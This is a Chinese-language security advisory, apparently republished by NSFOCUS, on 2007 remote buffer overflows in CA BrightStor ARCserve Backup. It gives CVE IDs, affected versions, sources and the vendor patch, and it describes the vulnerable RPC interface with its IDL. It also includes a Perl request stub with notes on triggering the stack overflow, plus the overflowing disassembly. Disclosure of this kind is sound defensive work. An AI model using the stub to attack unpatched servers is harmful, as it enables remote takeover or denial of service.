安全研究

安全漏洞
CA BrightStor ARCserve Backup多个远程缓冲区溢出及内存破坏漏洞

发布日期:2007-10-11
更新日期:2007-10-12

受影响系统:
Computer Associates BrightStor ARCserve Backup r11.1
Computer Associates BrightStor ARCserve Backup r11.0 for Windows
Computer Associates BrightStor ARCserve Backup 9.01
Computer Associates BrightStor ARCserve Backup 11.5
Computer Associates Server Protection r2
Computer Associates Business Protection r2
Computer Associates Business Protection for Microsoft SBS Std Ed r2
Computer Associates Business Protection for Microsoft SBS Pre ed r2
Computer Associates Enterprise Backup r10.5
描述:
BUGTRAQ  ID: 26015
CVE(CAN) ID: CVE-2007-5325,CVE-2007-5326,CVE-2007-5327,CVE-2007-5328,CVE-2007-5329,CVE-2007-5330

BrightStor ARCserve Backup可为各种平台的服务器提供备份和恢复保护功能。

BrightStor ARCserve Backup的消息引擎、AScore.dll、rpcx.dll等组件在处理超长RPC请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制服务器或导致拒绝服务。

其中对于消息引擎中的溢出,起因是消息引擎没有正确地处理发送给TCP 6504端口的RPC请求。该接口识别为506b1890-14c8-11d1-bbc3-00805fa6962e v1.0,Opnum 0x10d指定了这个接口中有漏洞的操作。

0x10d函数的IDL如下:

    long   sub_28EA5F70 (
     [in] handle_t  arg_1,
     [in, out][size_is(256), length_is(1)] struct struct_2 * arg_2,
     [in][string] char * arg_3,
     [in][string] char * arg_4,
     [in][string] char * arg_5,
     [in][string] char * arg_6,
     [in][string] char * arg_7,
     [in] long  arg_8,
     [out][size_is(arg_1)] byte * arg_9
    );

以下是这个函数正常的stub:

    my $stub=
    "\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

    "\x10\x00\x00\x00\x00\x00\x00\x00".            #point1: the victim's computer name
    "\x10\x00\x00\x00".
    "kkk-49ade5b31c1".
    "\x00".
    
    "\x09\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00".    #point2: a string,set it long
    "Database".
    "\x00\x00\x00\x00".

    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00".
    
    "\x1a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00".    
    "RemoteDatabaseMachineName".
    "\x00\x00\x00".
        
    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x79\x49\x6e\x40\x00\x00\x00";

如果将#point1设置为等于受害用户的计算机名称,将#point2设置为超长字符串,就会触发栈溢出。有漏洞的代码如下:
  
    .text:25604EF8                 lea     edx, [esp+120h+SubKey]
    .text:25604EFC                 push    offset asc_2561E2BC    
    .text:25604F01                 push    edx            ;
    .text:25604F02                 call    edi ; lstrcatA        ;
    .text:25604F04                 lea     eax, [esp+120h+SubKey]
    .text:25604F08                 push    esi            ;
    .text:25604F09                 push    eax            
    .text:25604F0A                 call    edi ; lstrcatA        ; overflow!

由于没有对某些函数执行正确的认证检查,因此远程攻击者可以在系统上执行某些特权操作。

如果向BrightStor ARCserve Backup的dbasvr、RPC服务等组件发送了特制请求的话,就可能触发内存破坏,导致拒绝服务或执行任意指令。

<*来源:Dyon Balding
        cocoruder (frankruder@hotmail.com
        Tenable Network Security (http://www.tenablesecurity.com/)
        Pedram Amini (pedram.amini@tulane.edu
  
  链接:http://marc.info/?l=bugtraq&m=119213311110552&w=2
        http://secunia.com/advisories/23648/
        http://supportconnectw.ca.com/public/storage/infodocs/basb-secnotice.asp
        http://secunia.com/secunia_research/2007-49/advisory/
        http://secunia.com/secunia_research/2007-62/advisory/
        http://marc.info/?l=bugtraq&m=119213863320172&w=2
        http://marc.info/?l=bugtraq&m=119611520102413&w=2
        http://marc.info/?l=full-disclosure&m=119698698503622&w=2
        http://ruder.cdut.net/blogview.asp?logID=231
*>

建议:
厂商补丁:

Computer Associates
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO91097

浏览次数:3212
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障